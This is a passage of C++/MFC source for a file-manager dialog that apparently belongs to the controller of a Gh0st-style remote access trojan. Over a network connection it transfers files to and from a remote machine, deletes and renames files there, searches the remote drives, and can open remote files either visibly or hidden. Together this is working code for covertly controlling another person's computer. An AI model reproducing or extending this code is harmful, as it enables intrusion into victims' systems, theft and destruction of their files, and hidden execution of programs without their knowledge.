int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小，为固定的9
FILESIZE *pFileSize;
// 得到数据的偏移
pData = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
pFileSize = (FILESIZE *)m_pContext->m_DeCompressionBuffer.GetBuffer(1);
// 得到数据在文件中的偏移, 赋值给计数器
m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh);
LONG dwOffsetHigh = pFileSize->dwSizeHigh;
LONG dwOffsetLow = pFileSize->dwSizeLow;
dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
HANDLE hFile =
CreateFile
(
m_strReceiveLocalFile.GetBuffer(0),
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0
);
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int nRet = 0;
int i;
for (i = 0; i < 15; i++)
{
// 写入文件
nRet = WriteFile
(
hFile,
pData,
dwBytesToWrite,
&dwBytesWrite,
NULL
);
if (nRet > 0)
{
break;
}
}
if (i == 15 && nRet <= 0)
{
/*Document creation failed*/
::MessageBox(m_hWnd, m_strReceiveLocalFile + " 文档写入失败!", "Warning", MB_OK|MB_ICONWARNING);
}
CloseHandle(hFile);
// 为了比较，计数器递增
m_nCounter += dwBytesWrite;
ShowProgress();
if (m_bIsStop)
SendStop();
else
{
BYTE bToken[9];
bToken[0] = COMMAND_CONTINUE;
dwOffsetLow += dwBytesWrite;
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
}
// 终止本地接收文件
void CFileManagerDlg::EndLocalRecvFile()
{
m_nCounter = 0;
m_strOperatingFile = "";
m_nOperatingFileLength = 0;
if (m_Remote_Download_Job.IsEmpty() || m_bIsStop)
{
m_Remote_Download_Job.RemoveAll();
m_bIsStop = false;
// 重置传输方式
m_nTransferMode = TRANSFER_MODE_NORMAL;
EnableControl(TRUE);
FixedLocalFileList(".");
m_ProgressCtrl->SetWindowText("");
strShowText.Format(_T("本地: 装载目录 %s \\ *. * 完成"), m_Local_Path);
PostMessage(WM_SHOW_MSG,0,0);
// ShowMessage(_T("本地: 装载目录 %s \\ *. * 完成"), m_Local_Path);
}
else
{
// 我靠，不sleep下会出错，服了可能以前的数据还没send出去
Sleep(5);
SendDownloadJob();
}
return;
}
// 终止本地上传文件
void CFileManagerDlg::EndLocalUploadFile()
{
m_nCounter = 0;
m_strOperatingFile = "";
m_nOperatingFileLength = 0;
if (m_Remote_Upload_Job.IsEmpty() || m_bIsStop)
{
m_Remote_Upload_Job.RemoveAll();
m_bIsStop = false;
EnableControl(TRUE);
GetRemoteFileList(".");
m_ProgressCtrl->SetWindowText("");
strShowText.Format(_T("远程：装载目录 %s\\*.* 完成"), m_Remote_Path);
PostMessage(WM_SHOW_MSG,0,0);
//ShowMessage(_T("远程：装载目录 %s\\*.* 完成"), m_Remote_Path);
}
else
{
// 我靠，不sleep下会出错，服了可能以前的数据还没send出去
Sleep(5);
SendUploadJob();
}
return;
}
// 终止远程删除文件
void CFileManagerDlg::EndRemoteDeleteFile()
{
if (m_Remote_Delete_Job.IsEmpty() || m_bIsStop)
{
m_bIsStop = false;
EnableControl(TRUE);
if (m_list_remote_search.IsWindowVisible())
return;
GetRemoteFileList(".");
//ShowMessage(_T("远程：装载目录 %s\\*.* 完成"), m_Remote_Path);
}
else
{
// 我靠，不sleep下会出错，服了可能以前的数据还没send出去
Sleep(5);
SendDeleteJob();
}
return;
}
void CFileManagerDlg::EndRemoteMoveFile()
{
if (m_Remote_Move_Job.IsEmpty() || m_bIsStop)
{
m_bIsStop = false;
EnableControl(TRUE);
if (m_list_remote_search.IsWindowVisible())
return;
GetRemoteFileList(".");
//ShowMessage(_T("远程：装载目录 %s\\*.* 完成"), m_Remote_Path);
}
else
{
// 我靠，不sleep下会出错，服了可能以前的数据还没send出去
Sleep(5);
SendMoveJob();
}
return;
}
void CFileManagerDlg::SendStop()
{
BYTE bBuff = COMMAND_STOP;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
void CFileManagerDlg::ShowProgress()
{
char *lpDirection = NULL;
if (m_bIsUpload)
lpDirection = "传送文件";
else
lpDirection = "接收文件";
if ((int)m_nCounter == -1)
{
m_nCounter = m_nOperatingFileLength;
}
int progress = (int)((m_nCounter * 100) / m_nOperatingFileLength);
strShowText.Format(_T("%s %s %dKB (%d%%)"), lpDirection, m_strOperatingFile, (int)(m_nCounter / 1024), progress);
PostMessage(WM_SHOW_MSG,0,0);
m_ProgressCtrl->SetWindowText("按ESC跳过");
m_ProgressCtrl->SetTextColor(RGB(255,128,0));
//ShowMessage(_T("%s %s %dKB (%d%%)"), lpDirection, m_strOperatingFile, (int)(m_nCounter / 1024), progress);
m_ProgressCtrl->SetPos(progress);
if (m_nCounter == m_nOperatingFileLength)
{
m_nCounter = m_nOperatingFileLength = 0;
}
}
// 本地删除文件
void CFileManagerDlg::OnLocalDelete()
{
m_bIsUpload = true;
CString str;
if (m_list_local.GetSelectedCount() > 1)
str.Format(_T("确定要将这 %d 项删除吗?"), m_list_local.GetSelectedCount());
else
{
CString file = m_list_local.GetItemText(m_list_local.GetSelectionMark(), 0);
if (m_list_local.GetItemData(m_list_local.GetSelectionMark()) == 1)
str.Format(_T("确实要删除文件夹“%s”并将所有内容删除吗?"), file);
else
str.Format(_T("确实要把“%s”删除吗?"), file);
}
if (::MessageBox(m_hWnd, str, "确认删除", MB_YESNO|MB_ICONQUESTION) == IDNO)
return;
EnableControl(FALSE);
POSITION pos = m_list_local.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list_local.GetNextSelectedItem(pos);
CString file = m_Local_Path + m_list_local.GetItemText(nItem, 0);
// 如果是目录
if (m_list_local.GetItemData(nItem))
{
file += '\\';
DeleteDirectory(file);
}
else
{
DeleteFile(file);
}
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
// 禁用文件管理窗口
EnableControl(TRUE);
FixedLocalFileList(".");
}
// 远程删除文件
void CFileManagerDlg::OnRemoteDelete()
{
m_bIsUpload = false;
// TODO: Add your command handler code here
CString str;
if(m_list_remote_search.IsWindowVisible())
{
if (m_list_remote_search.GetSelectedCount() > 1)
str.Format(_T("确定要将这 %d 项删除吗?"), m_list_remote_search.GetSelectedCount());
else
{
CString file = m_list_remote_search.GetItemText(m_list_remote_search.GetSelectionMark(), 0);
if (m_list_remote_search.GetItemData(m_list_remote_search.GetSelectionMark()) == 1)
str.Format(_T("确实要删除文件夹“%s”并将所有内容删除吗?"), file);
else
str.Format(_T("确实要把“%s”删除吗?"), file);
}
if (::MessageBox(m_hWnd, str, "确认删除", MB_YESNO|MB_ICONQUESTION) == IDNO)
return;
m_Remote_Delete_Job.RemoveAll();
POSITION pos = m_list_remote_search.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list_remote_search.GetNextSelectedItem(pos);
CString file = m_list_remote_search.GetItemText(nItem, 0);
// 如果是目录
if (m_list_remote_search.GetItemData(nItem))
file += '\\';
m_Remote_Delete_Job.AddTail(file);
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
}
else
{
if (m_list_remote.GetSelectedCount() > 1)
str.Format(_T("确定要将这 %d 项删除吗?"), m_list_remote.GetSelectedCount());
else
{
CString file = m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0);
if (m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) == 1)
str.Format(_T("确实要删除文件夹“%s”并将所有内容删除吗?"), file);
else
str.Format(_T("确实要把“%s”删除吗?"), file);
}
if (::MessageBox(m_hWnd, str, "确认删除", MB_YESNO|MB_ICONQUESTION) == IDNO)
return;
m_Remote_Delete_Job.RemoveAll();
POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
while(pos) //so long as we have a valid POSITION, we keep iterating
{
int nItem = m_list_remote.GetNextSelectedItem(pos);
CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0);
// 如果是目录
if (m_list_remote.GetItemData(nItem))
file += '\\';
m_Remote_Delete_Job.AddTail(file);
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory
}
EnableControl(FALSE);
// 发送第一个删除任务
SendDeleteJob();
}
void CFileManagerDlg::OnRemoteStop()
{
// TODO: Add your command handler code here
m_bIsStop = true;
}
void CFileManagerDlg::OnLocalStop()
{
// TODO: Add your command handler code here
m_bIsStop = true;
}
void CFileManagerDlg::SendTransferMode() //
{
bIsLocalDlg = FALSE;
SendMessage(WM_SHOW_DLG,0,0);
if (m_nTransferMode == TRANSFER_MODE_CANCEL)
{
m_bIsStop = true;
EndLocalUploadFile();
return;
}
BYTE bToken[5];
bToken[0] = COMMAND_SET_TRANSFER_MODE;
memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode));
m_iocpServer->Send(m_pContext, (unsigned char *)&bToken, sizeof(bToken));
}
void CFileManagerDlg::SendFileData()
{
FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
LONG dwOffsetHigh = pFileSize->dwSizeHigh ;
LONG dwOffsetLow = pFileSize->dwSizeLow;
m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh);
ShowProgress();
if (m_nCounter == m_nOperatingFileLength || pFileSize->dwSizeLow == -1 || m_bIsStop)
{
EndLocalUploadFile();
return;
}
HANDLE hFile;
hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (hFile == INVALID_HANDLE_VALUE)
{
TRACE("CFileManagerDlg SendFileData ERRO 1\r\n");
return;
}
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小，为固定的9
DWORD nNumberOfBytesToRead = 1024 * 2 - nHeadLength;
DWORD nNumberOfBytesRead = 0;
BYTE *lpBuffer = (BYTE *)LocalAlloc(LPTR, 1024 * 2);
// Token, 大小，偏移，数据
lpBuffer[0] = COMMAND_FILE_DATA;
memcpy(lpBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(lpBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow));
// 返回值
bool bRet = true;
ReadFile(hFile, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
CloseHandle(hFile);
if (nNumberOfBytesRead > 0)
{
int nPacketSize = nNumberOfBytesRead + nHeadLength;
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
}
LocalFree(lpBuffer);
}
// 此处改改 能用来写 复制 粘贴 剪切文件
bool CFileManagerDlg::DeleteDirectory(LPCTSTR lpszDirectory)
{
WIN32_FIND_DATA wfd;
char lpszFilter[MAX_PATH];
wsprintf(lpszFilter, "%s\\*.*", lpszDirectory);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
return FALSE;
do
{
if (wfd.cFileName[0] != '.')
{
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
char strDirectory[MAX_PATH];
wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);
DeleteDirectory(strDirectory);
}
else
{
char strFile[MAX_PATH];
wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName);
DeleteFile(strFile);
}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // 关闭查找句柄
if(!RemoveDirectory(lpszDirectory))
{
return FALSE;
}
return true;
}
// 本地新建文件夹
void CFileManagerDlg::OnLocalNewfolder()
{
if (m_Local_Path == "")
return;
// TODO: Add your command handler code here
CInputDialog dlg;
dlg.Init(_T("新建目录"), _T("请输入目录名称:"),this);
if (dlg.DoModal() == IDOK && dlg.m_str.GetLength())
{
// 创建多层目录
MakeSureDirectoryPathExists(m_Local_Path + dlg.m_str + "\\");
FixedLocalFileList(".");
}
}
void CFileManagerDlg::OnRemoteNewfolder()
{
if (m_Remote_Path == "" || m_list_remote_search.IsWindowVisible())
return;
// TODO: Add your command handler code here
CInputDialog dlg;
dlg.Init(_T("新建目录"), _T("请输入目录名称:"),this);
if (dlg.DoModal() == IDOK && dlg.m_str.GetLength())
{
CString file = m_Remote_Path + dlg.m_str + "\\";
UINT nPacketSize = file.GetLength() + 2;
// 创建多层目录
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, file.GetLength() + 2);
lpBuffer[0] = COMMAND_CREATE_FOLDER;
memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1);
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
LocalFree(lpBuffer);
}
}
// 传输
void CFileManagerDlg::OnTransfer()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd)
{
OnLocalCopy();
}
else
{
OnRemoteCopy();
}
}
// 重命名
void CFileManagerDlg::OnRename()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd)
{
m_list_local.EditLabel(m_list_local.GetSelectionMark());
}
else
{
m_list_remote.EditLabel(m_list_remote.GetSelectionMark());
}
}
// 本地单击重命名
void CFileManagerDlg::OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult)
{
LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR;
// TODO: Add your control notification handler code here
CString str, strExistingFileName, strNewFileName;
m_list_local.GetEditControl()->GetWindowText(str);
strExistingFileName = m_Local_Path + m_list_local.GetItemText(pDispInfo->item.iItem, 0);
strNewFileName = m_Local_Path + str;
*pResult = ::MoveFile(strExistingFileName.GetBuffer(0), strNewFileName.GetBuffer(0));
}
// 远程单击重命名
void CFileManagerDlg::OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{
LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR;
// TODO: Add your control notification handler code here
CString str, strExistingFileName, strNewFileName;
m_list_remote.GetEditControl()->GetWindowText(str);
strExistingFileName = m_Remote_Path + m_list_remote.GetItemText(pDispInfo->item.iItem, 0);
strNewFileName = m_Remote_Path + str;
if (strExistingFileName != strNewFileName)
{
UINT nPacketSize = strExistingFileName.GetLength() + strNewFileName.GetLength() + 3;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketSize);
lpBuffer[0] = COMMAND_RENAME_FILE;
memcpy(lpBuffer + 1, strExistingFileName.GetBuffer(0), strExistingFileName.GetLength() + 1);
memcpy(lpBuffer + 2 + strExistingFileName.GetLength(),
strNewFileName.GetBuffer(0), strNewFileName.GetLength() + 1);
m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize);
LocalFree(lpBuffer);
}
*pResult = 1;
}
void CFileManagerDlg::OnDelete()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd)
{
OnLocalDelete();
}
else
{
OnRemoteDelete();
}
}
void CFileManagerDlg::OnNewfolder()
{
// TODO: Add your command handler code here
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd)
{
OnLocalNewfolder();
}
else
{
OnRemoteNewfolder();
}
}
// 刷新
void CFileManagerDlg::OnRefresh()
{
// TODO: Add your command handler code here
if (m_list_remote_search.IsWindowVisible())
{
OnSearchStart();
return;
}
POINT pt;
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd)
{
FixedLocalFileList(".");
}
else
{
GetRemoteFileList(".");
}
}
// 本地打开
void CFileManagerDlg::OnLocalOpen()
{
// TODO: Add your command handler code here
CString str;
str = m_Local_Path + m_list_local.GetItemText(m_list_local.GetSelectionMark(), 0);
ShellExecute(NULL, "open", str, NULL, NULL, SW_SHOW);
}
// 远程打开
void CFileManagerDlg::OnRemoteOpenShow()
{
// TODO: Add your command handler code here
CInputDialog dlg;
dlg.Init(_T("远程打开 - 显示"), _T("请输入可选的参数(不知参数请点确定):"),this,FALSE);
if (dlg.DoModal() != IDOK)
return;
CString str;
if (m_list_remote_search.IsWindowVisible())
str = m_list_remote_search.GetItemText(m_list_remote_search.GetSelectionMark(), 0);
else
str = m_Remote_Path + m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0);
if (dlg.m_str.GetLength() != 0)
{
str += " ";
str += dlg.m_str;
}
int nPacketLength = str.GetLength() + 2;
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_OPEN_FILE_SHOW;
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
LocalFree(lpPacket);
}
void CFileManagerDlg::OnRemoteOpenHide()
{
// TODO: Add your command handler code here
CInputDialog dlg;
dlg.Init(_T("远程打开 - 隐藏"), _T("请输入可选的参数(不知参数请点确定):"),this,FALSE);
if (dlg.DoModal() != IDOK)
return;
CString str;
if (m_list_remote_search.IsWindowVisible())
str = m_list_remote_search.GetItemText(m_list_remote_search.GetSelectionMark(), 0);
else
str = m_Remote_Path + m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0);
if (dlg.m_str.GetLength() != 0)
{
str += " ";
str += dlg.m_str;
}
int nPacketLength = str.GetLength() + 2;
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
lpPacket[0] = COMMAND_OPEN_FILE_HIDE;
memcpy(lpPacket + 1, str.GetBuffer(0), nPacketLength - 1);
m_iocpServer->Send(m_pContext, lpPacket, nPacketLength);
//delete [] lpPacket;
LocalFree(lpPacket);
}
void CFileManagerDlg::OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
CListCtrl *pListCtrl = &m_list_local;
CMenu popup;
popup.LoadMenu(IDR_FILEMANAGER);
CMenu* pM = popup.GetSubMenu(0);
CPoint p;
GetCursorPos(&p);
pM->DeleteMenu(ID_MENUITEM_PASTE, MF_BYCOMMAND); // 打开文件位置
pM->DeleteMenu(ID_MENUITEM_COPY, MF_BYCOMMAND); // 打开文件位置
pM->DeleteMenu(ID_MENUITEM_MOVE, MF_BYCOMMAND); // 打开文件位置
pM->DeleteMenu(ID_MENUITEM_OPEN_FILEPATH, MF_BYCOMMAND); // 打开文件位置
pM->DeleteMenu(9, MF_BYCOMMAND); //分隔符
pM->DeleteMenu(6, MF_BYPOSITION);
// 如果正在搜索文件列表 禁用本地上传MENU
if (!m_list_remote.IsWindowVisible())
pM->EnableMenuItem(IDM_TRANSFER,MF_DISABLED);
if (pListCtrl->GetSelectedCount() == 0)
{
int count = pM->GetMenuItemCount();
for (int i = 0; i < count; i++)
{
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
}
if (pListCtrl->GetSelectedCount() <= 1)
{
pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED);
}
if (pListCtrl->GetSelectedCount() == 1)
{
// 是文件夹
if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1)
pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_GRAYED);
else
pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_ENABLED);
}
else
pM->EnableMenuItem(IDM_LOCAL_OPEN, MF_BYCOMMAND | MF_GRAYED);
pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED);
CXTPCommandBars::TrackPopupMenu(pM, 0, p.x, p.y,this);
*pResult = 0;
}
void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
int nRemoteOpenMenuIndex = 5;
CListCtrl *pListCtrl = &m_list_remote;
CMenu popup;
popup.LoadMenu(IDR_FILEMANAGER);
CMenu* pM = popup.GetSubMenu(0);
CPoint p;
GetCursorPos(&p);
pM->DeleteMenu(ID_MENUITEM_OPEN_FILEPATH, MF_BYCOMMAND); // 打开文件位置
pM->DeleteMenu(9, MF_BYCOMMAND); //分隔符
pM->DeleteMenu(IDM_LOCAL_OPEN, MF_BYCOMMAND);
if (pListCtrl->GetSelectedCount() == 0)
{
int count = pM->GetMenuItemCount();
for (int i = 0; i < count; i++)
{
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
}
if (pListCtrl->GetSelectedCount() <= 1)
{
pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_ENABLED);
}
if (pListCtrl->GetSelectedCount() == 1)
{
// 是文件夹
if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1)
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION| MF_GRAYED);
else
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_ENABLED);
}
else
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_GRAYED);
pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED);
pM->EnableMenuItem(9, MF_BYPOSITION | MF_ENABLED);
pM->EnableMenuItem(10, MF_BYPOSITION | MF_ENABLED);
// if(!m_Remote_Move_Job.IsEmpty() && !m_list_remote_search.IsWindowVisible())
pM->EnableMenuItem(11, MF_BYPOSITION | MF_ENABLED);
CXTPCommandBars::TrackPopupMenu(pM, 0, p.x, p.y,this);
*pResult = 0;
}
void CFileManagerDlg::OnRclickListRemoteSearch(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
int nRemoteOpenMenuIndex = 5;
CListCtrl *pListCtrl = &m_list_remote_search;
CMenu popup;
popup.LoadMenu(IDR_FILEMANAGER);
CMenu* pM = popup.GetSubMenu(0);
CPoint p;
GetCursorPos(&p);
pM->DeleteMenu(IDM_LOCAL_OPEN, MF_BYCOMMAND);
if (pListCtrl->GetSelectedCount() == 0) // 啥也没选中 全部禁用
{
int count = pM->GetMenuItemCount();
for (int i = 0; i < count; i++)
{
pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED);
}
}
// 禁用重命名 新建文件夹 菜单
pM->EnableMenuItem(IDM_RENAME, MF_BYCOMMAND | MF_GRAYED);
pM->EnableMenuItem(IDM_NEWFOLDER, MF_BYCOMMAND | MF_GRAYED);
if (pListCtrl->GetSelectedCount() == 1) // 如果选中数为1
{
// 是文件夹
if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1)
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION| MF_GRAYED);
else
{
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_ENABLED);
pM->EnableMenuItem(ID_MENUITEM_OPEN_FILEPATH, MF_BYPOSITION | MF_ENABLED);
}
}
else
{
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_GRAYED);
pM->EnableMenuItem(ID_MENUITEM_OPEN_FILEPATH, MF_BYCOMMAND | MF_GRAYED);
}
pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED);
CXTPCommandBars::TrackPopupMenu(pM, 0, p.x, p.y,this);
*pResult = 0;
}
// 创建多层目录
bool CFileManagerDlg::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
{
LPTSTR p, pszDirCopy;
DWORD dwAttributes;
// Make a copy of the string for editing.
__try
{
pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));
if(pszDirCopy == NULL)
return FALSE;
lstrcpy(pszDirCopy, pszDirPath);
p = pszDirCopy;
// If the second character in the path is "\", then this is a UNC
// path, and we should skip forward until we reach the 2nd \ in the path.
if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\')))
{
p++; // Skip over the first \ in the name.
p++; // Skip over the second \ in the name.
// Skip until we hit the first "\" (\\Server\).
while(*p && *p != TEXT('\\'))
{
p = CharNext(p);
}
// Advance over it.
if(*p)
{
p++;
}
// Skip until we hit the second "\" (\\Server\Share\).
while(*p && *p != TEXT('\\'))
{
p = CharNext(p);
}
// Advance over it also.
if(*p)
{
p++;
}
}
else if(*(p+1) == TEXT(':')) // Not a UNC. See if it's <drive>:
{
p++;
p++;
// If it exists, skip over the root specifier
if(*p && (*p == TEXT('\\')))
{
p++;
}
}
while(*p)
{
if(*p == TEXT('\\'))
{
*p = TEXT('\0');
dwAttributes = GetFileAttributes(pszDirCopy);
// Nothing exists with this name. Try to make the directory name and error if unable to.
if(dwAttributes == 0xffffffff)
{
if(!CreateDirectory(pszDirCopy, NULL))
{
if(GetLastError() != ERROR_ALREADY_EXISTS)
{
free(pszDirCopy);
return FALSE;
}
}
}
else
{
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
{
// Something exists with this name, but it's not a directory... Error
free(pszDirCopy);
return FALSE;
}
}
*p = TEXT('\\');
}
p = CharNext(p);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
// SetLastError(GetExceptionCode());
free(pszDirCopy);
return FALSE;
}
free(pszDirCopy);
return TRUE;
}
int CFileManagerDlg::OnCreateControl(LPCREATECONTROLSTRUCT lpCreateControl)
{
if (lpCreateControl->nID == IDR_LOCAL_VIEW)
{
lpCreateControl->controlType = xtpControlSplitButtonPopup;
return TRUE;
}
if (lpCreateControl->nID == IDR_REMOTE_VIEW)
{
lpCreateControl->controlType = xtpControlSplitButtonPopup;
return TRUE;
}
if (lpCreateControl->nID == ID_SEARCH_TEXT)
{
pComboSize = new CXTPControlComboBox();
pComboSize->SetDropDownListStyle();
pComboSize->SetWidth(130); // 宽度
pComboSize->InsertString(0,".jpg");
pComboSize->InsertString(1,".doc");
pComboSize->InsertString(2,".avi");
lpCreateControl->pControl = pComboSize;
return TRUE;
}
if (lpCreateControl->nID == ID_SEARCH_SUBFOLDER)
{
CXTPControlButton* pControl = new CXTPControlCheckBox();
pControl->SetFlags(xtpFlagRightAlign);
pControl->SetChecked(TRUE);
lpCreateControl->pControl = pControl;
return TRUE;
}
return FALSE;
}
void CFileManagerDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
if (!m_bOnClose)
OnClose();
delete this;
CDialog::PostNcDestroy();
}
void CFileManagerDlg::FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLen)
{
// m_list_remote_search.SetRedraw(FALSE);
char *pList = (char *)(pbBuffer + 1);
int nItemIndex = 0;
for(char *pBase = pList; pList - pBase < dwBufferLen - 1;)
{
char *pszFileName = NULL;
DWORD dwFileSizeHigh = 0;
DWORD dwFileSizeLow = 0;
FILETIME ftm_strReceiveLocalFileTime;
int nItem = 0;
bool bIsInsert = false;
int nType = *pList ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL;
pszFileName = ++pList;
nItem = m_list_remote_search.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType));
m_list_remote_search.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
pList += lstrlen(pszFileName)+1;
memcpy(&dwFileSizeHigh, pList, 4);
memcpy(&dwFileSizeLow, pList + 4, 4);
CString strSize;
strSize.Format(_T("%10d KB"), (dwFileSizeHigh * (MAXDWORD)) / 1024 + dwFileSizeLow / 1024 + (dwFileSizeLow % 1024 ? 1 : 0));
m_list_remote_search.SetItemText(nItem, 1, strSize);
memcpy(&ftm_strReceiveLocalFileTime, pList + 8, sizeof(FILETIME));
CTime time(ftm_strReceiveLocalFileTime);
m_list_remote_search.SetItemText(nItem, 2,time.Format(_T("%Y-%m-%d %H:%M")));
pList += 16;
}
// m_list_remote_search.SetRedraw(TRUE);
m_ProgressCtrl->StepIt();
}
void CFileManagerDlg::OnSearchResult()
{
// TODO: Add your command handler code here
BOOL bState = m_wndToolBar_Search.GetControls()->FindControl(ID_SEARCH_RESULT)->GetChecked();
m_list_remote.ShowWindow(bState ? SW_SHOW : SW_HIDE);
m_list_remote_search.ShowWindow(bState ? SW_HIDE : SW_SHOW);
m_wndToolBar_Search.GetControls()->FindControl(ID_SEARCH_RESULT)->SetChecked(!bState);
}
void CFileManagerDlg::OnSearchStart()
{
// TODO: Add your command handler code here
CString str;
str = pComboSize->GetEditText();
if (str.IsEmpty()||m_Remote_Path.IsEmpty())
{
::MessageBox(m_hWnd,"请检查路径或要搜索的关键词是否为空!\r\n提示:请进入要搜索的目录下 如：搜索E盘 请进入E盘目录\r\n程序将搜索E盘下所有文件",NULL,NULL);
return;
}
FILESEARCH filesearch;
lstrcpy(filesearch.SearchPath,m_Remote_Path.GetBuffer(0));
lstrcpy(filesearch.SearchFileName,str.GetBuffer(0));
filesearch.bEnabledSubfolder = m_wndToolBar_Search.GetControls()->FindControl(ID_SEARCH_SUBFOLDER)->GetChecked();
int PacketSize = sizeof(FILESEARCH) + 1;
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, PacketSize);
bPacket[0] = COMMAND_FILES_SEARCH_START;
memcpy(bPacket + 1, &filesearch, PacketSize - 1 );
m_iocpServer->Send(m_pContext, bPacket, PacketSize);
LocalFree(bPacket);
// 得到返回数据前禁窗口
m_list_remote_search.DeleteAllItems();
m_list_remote_search.EnableWindow(FALSE);
